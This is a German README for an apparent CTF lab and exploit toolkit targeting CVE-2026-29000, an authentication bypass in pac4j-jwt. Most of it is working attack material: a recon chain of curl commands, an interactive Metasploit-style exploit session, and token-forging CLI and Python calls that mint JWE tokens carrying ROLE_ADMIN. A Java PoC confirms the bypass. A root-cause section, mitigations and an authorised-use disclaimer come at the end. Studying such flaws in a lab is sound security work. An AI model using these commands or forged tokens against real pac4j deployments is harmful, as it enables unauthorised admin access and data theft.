# CTF-Lab und Exploit-Toolkit für CVE-2026-29000, eine pac4j-jwt JWE-Authentifizierungsumgehung. Enthält ein verwundbares Flask-Ziel, eine Token-Fälschungsbibliothek, eine interaktive Exploit-Konsole und einen Java-PoC.
CTF-Lab zur Untersuchung der JWE-Authentifizierungsschwachstelle in der Bibliothek pac4j-jwt CVSS 9.3 (Critical) · CWE-287 · Betroffen: pac4j-jwt < 4.5.9 / 5.7.9 / 6.3.3
pac4j-jwt in betroffenen Versionen erlaubt die vollständige Umgehung des JWT-Authentifizierungsmechanismus, indem ein PlainJWT (alg=none, ohne Signatur) erstellt und in eine JWE (JSON Web Encryption) eingebettet wird. Nach dem Entschlüsseln der JWE-Schicht prüft die Bibliothek den Algorithmus des inneren JWT nicht — die Claims werden vollständig vertraut, einschließlich der Rollen.
Angriffskette:
X-Powered-By: pac4j/6.0.3 ← Versionsleck → Framework identifizieren
↓
OIDC Discovery → JWKS → RSA public key ← öffentliche Informationen
↓
JWE fälschen (PlainJWT alg=none, ROLE_ADMIN)
↓
Auth-Bypass → GET /admin?token=<JWE> ← Zugriff auf Admin-Panel
↓
Sensible Daten lesen: Mitarbeiterliste, Systemkonfiguration, Flag
CVE-2026-29000/
├── lab/ # Ziel – Flask-App (NexusBank Employee Portal)
│ ├── app.py # Hauptanwendung mit Schwachstelle
│ ├── Dockerfile # Flag wird beim Build in /flag.txt eingebettet
│ └── requirements.txt
│
├── token_forge/ # Python-Bibliothek zum Erstellen gefälschter JWE-Tokens
│ ├── forge.py # forge_token()
│ ├── jwe_builder.py
│ ├── keys.py
│ ├── claims.py
│ └── cli.py # CLI: python -m token_forge
│
├── scripts/
│ └── exploit.py # Interaktive Exploit-Konsole (Metasploit-Stil)
│
├── poc/ # Java-PoC – bestätigt Bypass im Prozess
│ ├── src/main/java/Poc.java
│ └── pom.xml
│
├── tests/
├── docker-compose.yml
└── requirements.txt
| Werkzeug | Version | Hinweis |
|---|---|---|
| Docker Desktop | 24+ | Startet das Ziel-Lab |
| Docker Compose | v2+ | In Docker Desktop integriert |
| Python | 3.11+ | Führt exploit.py und token_forge aus |
| Java + Maven | 11+ | Nur für Java-PoC erforderlich |
git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000
# Linux / macOS
python -m venv .venv && source .venv/bin/activate
# Windows
python -m venv .venv && .venv\Scripts\activate
pip install -r requirements.txt
docker compose up -d lab
Bestätigen, dass das Lab läuft:
curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3
Flag anpassen:
docker compose build --build-arg FLAG="CTF{custom_flag}" lab docker compose up -d lab
docker compose down
exploit.py ist eine interaktive Konsole im Metasploit-Stil. Der Benutzer führt selbst Recon durch, um Informationen zu sammeln, und konfiguriert und nutzt dann den Exploit.
python scripts/exploit.py
# Oder vorkonfiguriert über die Kommandozeile:
python scripts/exploit.py --rhost 192.168.1.31 --rport 8080
Beispiel einer vollständigen Session:
jwe-bypass > set RHOST 192.168.1.31
[+] RHOST => 192.168.1.31
jwe-bypass > check
[*] Checking http://192.168.1.31:8080 ...
[+] HTTP 200
[+] X-Powered-By: pac4j/6.0.3
[+] Target appears VULNERABLE (pac4j detected)
jwe-bypass > set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
[+] PUBKEY => http://192.168.1.31:8080/.well-known/jwks.json
jwe-bypass > run
[1/3] Loading RSA public key ...
[+] Public key loaded
[2/3] Forging JWE token (CVE-2026-29000) ...
[+] Token forged (606 chars)
[3/3] Verifying auth bypass on /api/profile ...
[+] Authenticated as: pwned roles: ['ROLE_ADMIN']
Auth bypass successful!
Open in your browser:
http://192.168.1.31:8080/admin?token=eyJ...
Öffnen Sie die URL oben im Browser, um das Admin-Dashboard aufzurufen.
PUBKEY unterstützt 3 Formate:
# 1. JWKS-URL — wird automatisch abgerufen (empfohlen)
set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
# 2. Bereits heruntergeladene Datei
set PUBKEY /tmp/key.json
# 3. Raw-JSON direkt einfügen
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}
# Framework über Response-Header erkennen
curl -sI http://TARGET:8080
# Versteckte Endpunkte finden
curl -s http://TARGET:8080/robots.txt
# RFC 8414: pac4j stellt diesen Endpunkt immer bereit
curl -s http://TARGET:8080/.well-known/openid-configuration
# RSA-Public-Key von jwks_uri abrufen
curl -s http://TARGET:8080/.well-known/jwks.json
python -m token_forge \
--jwks-url http://TARGET:8080/.well-known/jwks.json \
--subject attacker \
--roles ROLE_ADMIN
TOKEN=$(python -m token_forge \
--jwks-url http://TARGET:8080/.well-known/jwks.json \
--roles ROLE_ADMIN 2>/dev/null)
# Bypass bestätigen
curl -s -H "Authorization: Bearer $TOKEN" http://TARGET:8080/api/profile
# Admin-Dashboard im Browser öffnen
echo "http://TARGET:8080/admin?token=$TOKEN"
from token_forge import forge_token, load_public_key_from_jwks_url
key = load_public_key_from_jwks_url("http://TARGET:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)
Bypass direkt in der JVM mit Nimbus JOSE + pac4j 6.0.3 bestätigen:
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] Authenticated as: admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]
# Nur Token ausgeben
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
pytest tests/ -v
# Mit Coverage-Report
pytest tests/ -v --cov=token_forge --cov-report=term-missing
| Stelle | Problem |
|---|---|
JwtAuthenticator.validateToken() | Nach dem Entschlüsseln der JWE wird PlainJWT.parse() statt SignedJWT.parse() aufgerufen |
_payload_to_claims() im Lab | base64decode + json.loads direkt, ohne Signaturprüfung |
Fehlerhafter Verarbeitungsablauf:
JWE decrypt → Payload abrufen → base64decode → json.loads → Claims vertrauen
↑ fehlender Schritt: Signatur des inneren JWT prüfen
| Maßnahme | Details |
|---|---|
| pac4j-jwt aktualisieren | Auf >= 6.3.3 / 5.7.9 / 4.5.9 |
| PlainJWT ablehnen | alg != "none" nach dem Entschlüsseln der JWE prüfen |
| Versions-Header entfernen | X-Powered-By in Produktion deaktivieren |
| Least Privilege | Container nicht mit Root-Rechten ausführen |
Warnung: Dieses Repository dient ausschließlich der Sicherheitsforschung und für CTFs in kontrollierten Umgebungen. Nicht auf Systemen ohne entsprechende Genehmigung verwenden.